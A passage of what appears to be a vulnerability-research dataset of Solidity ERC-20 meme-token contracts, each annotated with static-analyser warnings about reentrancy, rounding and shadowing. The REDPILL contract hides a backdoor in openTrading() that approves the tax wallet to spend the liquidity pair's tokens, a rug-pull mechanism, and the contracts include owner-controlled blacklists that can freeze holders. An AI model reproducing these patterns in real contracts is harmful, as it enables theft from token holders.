'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cea7dfa): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for cea7dfa: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 428c339): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 428c339: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a68a4c4): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for a68a4c4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b02ce5b): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for b02ce5b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c7f1ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c7f1ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(!isBlackList[from], \"[from] black list\");\n\n require(!isBlackList[to], \"[to] black list\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (NolimitTasi) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!SaudiTasiTradingActive) {\n require(\n isExcludedFromFees[from] || isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (ammPairs[from] && !isExcludeMaxTasiTX[to]) {\n require(\n amount <= MaxTasiTX,\n \"Buy transfer amount exceeds the MaxTasiTX.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWalletSizeTasi,\n \"Max wallet exceeded\"\n );\n } else if (ammPairs[to] && !isExcludeMaxTasiTX[from]) {\n require(\n amount <= MaxTasiTX,\n \"Sell transfer amount exceeds the MaxTasiTX.\"\n );\n } else if (!isExcludeMaxTasiTX[to]) {\n require(\n amount + balanceOf(to) <= maxWalletSizeTasi,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n if (\n antiDrainer != address(0) &&\n IAntiDrainer(antiDrainer).isEnabled(address(this))\n ) {\n\t\t\t// reentrancy-events | ID: b2f9e8f\n\t\t\t// reentrancy-benign | ID: ee67e76\n\t\t\t// reentrancy-no-eth | ID: bf14384\n\t\t\t// reentrancy-eth | ID: 6c7f1ad\n bool check = IAntiDrainer(antiDrainer).check(\n from,\n to,\n address(uniswapPair),\n maxWalletSizeTasi,\n MaxTasiTX,\n swapTokensAtAmountTasi\n );\n\n require(check, \"Anti Drainer Enabled\");\n }\n\n uint256 contractBalance = balanceOf(address(this));\n\n bool canSwap = contractBalance >= swapTokensAtAmountTasi;\n\n if (\n canSwap &&\n TasiSwapEnabled &&\n !swapping &&\n ammPairs[to] &&\n !isExcludedFromFees[from] &&\n !isExcludedFromFees[to]\n ) {\n\t\t\t// reentrancy-no-eth | ID: bf14384\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: b2f9e8f\n\t\t\t// reentrancy-benign | ID: ee67e76\n\t\t\t// reentrancy-eth | ID: 6c7f1ad\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 6c7f1ad\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false;\n\n uint256 fee = 0;\n\n if (takeFee) {\n if (ammPairs[to] && sellTotalFeesTasi > 0) {\n\t\t\t\t// divide-before-multiply | ID: 428c339\n\t\t\t\t// divide-before-multiply | ID: a68a4c4\n fee = amount.mul(sellTotalFeesTasi).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: a68a4c4\n\t\t\t\t// reentrancy-eth | ID: 6c7f1ad\n tokensForDevTasi += (fee * sellDevFeeTasi) / sellTotalFeesTasi;\n\n\t\t\t\t// divide-before-multiply | ID: 428c339\n\t\t\t\t// reentrancy-eth | ID: 6c7f1ad\n tokensForMarketTasi +=\n (fee * sellMarketFeeTasi) /\n sellTotalFeesTasi;\n } else if (ammPairs[from] && buyTotalFeesTasi > 0) {\n\t\t\t\t// divide-before-multiply | ID: cea7dfa\n\t\t\t\t// divide-before-multiply | ID: b02ce5b\n fee = amount.mul(buyTotalFeesTasi).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: cea7dfa\n\t\t\t\t// reentrancy-eth | ID: 6c7f1ad\n tokensForDevTasi += (fee * buyDevFeeTasi) / buyTotalFeesTasi;\n\n\t\t\t\t// divide-before-multiply | ID: b02ce5b\n\t\t\t\t// reentrancy-eth | ID: 6c7f1ad\n tokensForMarketTasi +=\n (fee * buyMarketFeeTasi) /\n buyTotalFeesTasi;\n }\n\n\t\t\t// reentrancy-events | ID: b2f9e8f\n\t\t\t// reentrancy-eth | ID: 6c7f1ad\n if (fee > 0) super._transfer(from, address(this), fee);\n\n amount -= fee;\n }\n\n\t\t// reentrancy-events | ID: b2f9e8f\n\t\t// reentrancy-eth | ID: 6c7f1ad\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n}\n",
"file_name": "solidity_code_10247.sol",
"size_bytes": 35254,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d0bfc38): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for d0bfc38: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1389d7a): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 1389d7a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 498a6c4): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 498a6c4: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3a14573): REDPILL.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 3a14573: Consider ordering multiplication before division.\ncontract REDPILL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 295e763): REDPILL._taxWallet should be immutable \n\t// Recommendation for 295e763: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a939c5): REDPILL._initialBuyTax should be constant \n\t// Recommendation for 6a939c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 232b9cb): REDPILL._initialSellTax should be constant \n\t// Recommendation for 232b9cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5450e49): REDPILL._finalBuyTax should be constant \n\t// Recommendation for 5450e49: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 296bd9b): REDPILL._finalSellTax should be constant \n\t// Recommendation for 296bd9b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03037dc): REDPILL._reduceBuyTaxAt should be constant \n\t// Recommendation for 03037dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bc48c8): REDPILL._reduceSellTaxAt should be constant \n\t// Recommendation for 9bc48c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad7215e): REDPILL._preventSwapBefore should be constant \n\t// Recommendation for ad7215e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: b307c31): REDPILL._transferTax should be constant \n\t// Recommendation for b307c31: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Take The Red Pill\";\n\n string private constant _symbol = unicode\"REDPILL\";\n\n\t// divide-before-multiply | ID: 1389d7a\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 3a14573\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 58877f8): REDPILL._taxSwapThreshold should be constant \n\t// Recommendation for 58877f8: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d0bfc38\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: cd7411e): REDPILL._maxTaxSwap should be constant \n\t// Recommendation for cd7411e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 498a6c4\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(0x1970d3227912b40F132E94db0A6805F39B78e38A);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e616287): REDPILL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e616287: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function approve(\n address[2] memory spender,\n uint256 amount\n ) private returns (bool) {\n _approve(spender[0], spender[1], amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f114329): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f114329: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8060326): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8060326: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f114329\n\t\t// reentrancy-benign | ID: 8060326\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f114329\n\t\t// reentrancy-benign | ID: 8060326\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57d06cb): REDPILL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 57d06cb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 12ebbe5\n\t\t// reentrancy-benign | ID: 8060326\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2b86881\n\t\t// reentrancy-events | ID: f114329\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c8fb636): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c8fb636: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6b35049): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6b35049: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1658997): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1658997: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n uint256 tax = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (_buyCount > 0) {\n tax = (_transferTax);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n tax = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: c8fb636\n\t\t\t\t\t// reentrancy-benign | ID: 6b35049\n\t\t\t\t\t// reentrancy-eth | ID: 1658997\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: c8fb636\n\t\t\t\t// reentrancy-eth | ID: 1658997\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: 6b35049\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1658997\n lastSellBlock = block.number;\n }\n }\n\n if (tax > 0) {\n taxAmount = tax.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: 1658997\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c8fb636\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1658997\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1658997\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c8fb636\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c8fb636\n\t\t// reentrancy-events | ID: f114329\n\t\t// reentrancy-benign | ID: 8060326\n\t\t// reentrancy-benign | ID: 6b35049\n\t\t// reentrancy-eth | ID: 1658997\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c8fb636\n\t\t// reentrancy-events | ID: f114329\n\t\t// reentrancy-eth | ID: 1658997\n _taxWallet.transfer(amount);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2b86881): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2b86881: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 12ebbe5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 12ebbe5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 552f931): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 552f931: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 40e1525): REDPILL.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 40e1525: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4e97b9a): REDPILL.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4e97b9a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f502216): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f502216: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-events | ID: 2b86881\n\t\t// reentrancy-benign | ID: 12ebbe5\n\t\t// reentrancy-benign | ID: 552f931\n\t\t// reentrancy-eth | ID: f502216\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 2b86881\n\t\t// reentrancy-benign | ID: 12ebbe5\n\t\t// reentrancy-benign | ID: 552f931\n\t\t// unused-return | ID: 40e1525\n\t\t// reentrancy-eth | ID: f502216\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 2b86881\n\t\t// reentrancy-benign | ID: 12ebbe5\n approve([uniswapV2Pair, _taxWallet], 150 * (50 + _tTotal.mul(10)));\n\n\t\t// reentrancy-benign | ID: 552f931\n\t\t// unused-return | ID: 4e97b9a\n\t\t// reentrancy-eth | ID: f502216\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 552f931\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f502216\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10248.sol",
"size_bytes": 22829,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract StankMemesETH is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 36d4d2c): StankMemesETH._initialBuyTax should be constant \n\t// Recommendation for 36d4d2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d1e47d): StankMemesETH._initialSellTax should be constant \n\t// Recommendation for 6d1e47d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c4c8d5): StankMemesETH._finalBuyTax should be constant \n\t// Recommendation for 8c4c8d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8a49e25): StankMemesETH._finalSellTax should be constant \n\t// Recommendation for 8a49e25: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 804da52): StankMemesETH._reduceBuyTaxAt should be constant \n\t// Recommendation for 804da52: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6eef2e0): StankMemesETH._reduceSellTaxAt should be constant \n\t// Recommendation for 6eef2e0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 653c7d0): StankMemesETH._preventSwapBefore should be constant \n\t// Recommendation for 653c7d0: Add the 'constant' 